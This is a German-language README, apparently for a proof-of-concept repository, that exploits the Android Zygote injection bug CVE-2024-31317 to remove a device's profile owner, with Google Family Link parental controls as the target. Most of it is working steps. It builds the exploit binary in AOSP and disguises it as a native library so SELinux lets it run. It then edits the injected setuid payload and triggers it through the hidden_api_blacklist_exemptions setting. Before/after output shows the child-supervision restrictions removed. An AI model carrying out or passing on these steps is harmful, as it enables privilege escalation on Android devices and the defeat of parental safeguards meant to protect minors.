
Entfernen Sie Android-Profilinhaber/Family Link mit CVE-2024-31317
Zygotroller ist ein Proof-of-Concept, das mit dem Zygote-Injection-Bug von CVE-2024-31317 einen Profilbesitzer und zugehörige Einschränkungen entfernen kann. Es erfordert den Entwicklermodus und dass der letzte Sicherheitspatch vor Juni 2024 liegt.
Googles Kindersicherungssystem Family Link wird in diesem Repo als Beispiel gezeigt.
Sie benötigen ein einigermaßen modernes Gerät mit einer Debian-basierten Distribution, um Zygotroller zu kompilieren. Vorgefertigte Binärdateien können je nach Lesezeitpunkt verfügbar sein oder auch nicht.
Leider hängt dies von internen Teilen von Android ab, daher müssen Sie den gesamten Android-Quellcode klonen, um Zygotroller zu bauen. Stellen Sie sicher, dass Sie mindestens 400 GB freien Speicherplatz haben, obwohl Sie wahrscheinlich weniger benötigen.
WICHTIG BEI VERWENDUNG VON WSL: Stellen Sie sicher, dass Sie VIEL Swap haben, sonst stürzt WSL ab. Ich persönlich habe 32G verwendet:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Nun zum Klonen des AOSP-Quellcodes:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (kann aufgrund von Ratenbegrenzungen mehrere Versuche erfordern)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (wenn Sie dies auf einem Emulator testen, ändern Sie arm64 zu x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
Jetzt müssen wir die Werte im Skript auf unseren tatsächlichen Profilbesitzer und Opcode für clearProfileOwner ändern.
Der Profilbesitzer kann entweder im Google-Play-Dienste-Paket "supervision" oder in den Google-Play-Diensten selbst sein. Führen Sie dpm list-owners aus, mein Ergebnis war wie folgt:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
Dies gibt uns zwei Informationen, die wir für Zygotroller benötigen: den Paketnamen (com.google.android.gms.supervision) und den Klassennamen (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
Bearbeiten Sie zygotroll.cpp mit Ihrem bevorzugten Texteditor und aktualisieren Sie diese Zeilen auf Ihre Profilbesitzer-Komponente:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
Jetzt müssen Sie den Opcode für die clearProfileOwner-Funktion von DPM finden. Bei mir war es "91", aber es variiert je nach Version/Typ von Android, die Sie verwenden. Um den Opcode für clearProfileOwner zu erhalten, habe ich android-svc mit folgendem Befehl verwendet:
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
Die Zahl, die Sie in der Ausgabe sehen, ist der Opcode für clearProfileOwner. Öffnen Sie zygotroll.cpp erneut mit Ihrem bevorzugten Texteditor und bearbeiten Sie die Zahl hier zu Ihrem tatsächlichen Opcode:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
Das Gleiche möchten Sie mit setUserRestriction tun:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
Jetzt müssen wir zygotroller kompilieren:
mm
Dies kann bei der ersten Erstellung SEHR lange dauern, spätere Builds dauern auf den meisten modernen Maschinen <1m.
Finden Sie Ihre Binärdatei in ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
Jetzt müssen wir eine App erstellen, die diese Binärdatei als "Shared Library" enthält, die eigentlich nur die Zygotroller-Binärdatei ist, damit SELinux uns die Ausführung erlaubt. Sie können dafür mein "CopyNativeLib"-Repo verwenden:
git clone https://github.com/rifting/CopyNativeLib.git
Benennen Sie dann Ihre Zygotroller-Binärdatei in libzygotroller.so um und legen Sie sie in app/src/main/jniLibs/arm64-v8a ab (ich gehe davon aus, dass dies die Architektur Ihres Telefons ist). Bauen Sie die APK in Android Studio und installieren Sie sie auf Ihrem Gerät mit adb install.
Der Family-Link-Profilbesitzer hatte bei mir die Benutzer-ID 10090, auch bekannt als u0_a90
Do dumpsys package com.google.android.gms.supervision | grep userId=
Schauen Sie sich nun payload.sh an, in dieser Zeile:
inject='\n--setuid=10090...
Ändern Sie die UID hier von 10090 auf Ihre UID aus dem dumpsys-Befehl. Wenn es die gleiche ID ist, lassen Sie es.
Schauen Sie etwas weiter in dieser Zeile und Sie werden sehen:
...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...
(drei Punkte dienen zur Darstellung der Kürzung)
Sie müssen diese durch die Pfade zu der nativen Bibliothek ersetzen, die Sie gerade auf dem Gerät installiert haben. Führen Sie pm path com.rifting.copynativelib aus.
Der Pfad zur Datei ist das übergeordnete Verzeichnis der APK, das als Ausgabe des Befehls angezeigt wird, plus lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH muss das Verzeichnis der Bibliothek sein, und dann sollte der tatsächliche Pfad zur Bibliothek danach kommen.
Diese Zeile wird dann ungefähr so aussehen:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
Sie sind fast am Ziel! Übertragen Sie diese Datei nach /data/local/tmp
adb push payload.sh /data/local/tmp
Setzen Sie Berechtigungen:
chmod +x /data/local/tmp/payload.sh
Und schließlich senden Sie die Ausgabe in hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
Setzen Sie dies nun auf "0", um eine Bootschleife zu vermeiden :)
settings put global hidden_api_blacklist_exemptions 0
Sie sollten sehen, dass der Family-Link-Profilbesitzer und alle zugehörigen Einschränkungen entfernt wurden. Gehen Sie zu den Einstellungen und verwalten Sie Konten, und entfernen Sie das beaufsichtigte Konto vom Gerät. Herzlichen Glückwunsch!
Before:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
After:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...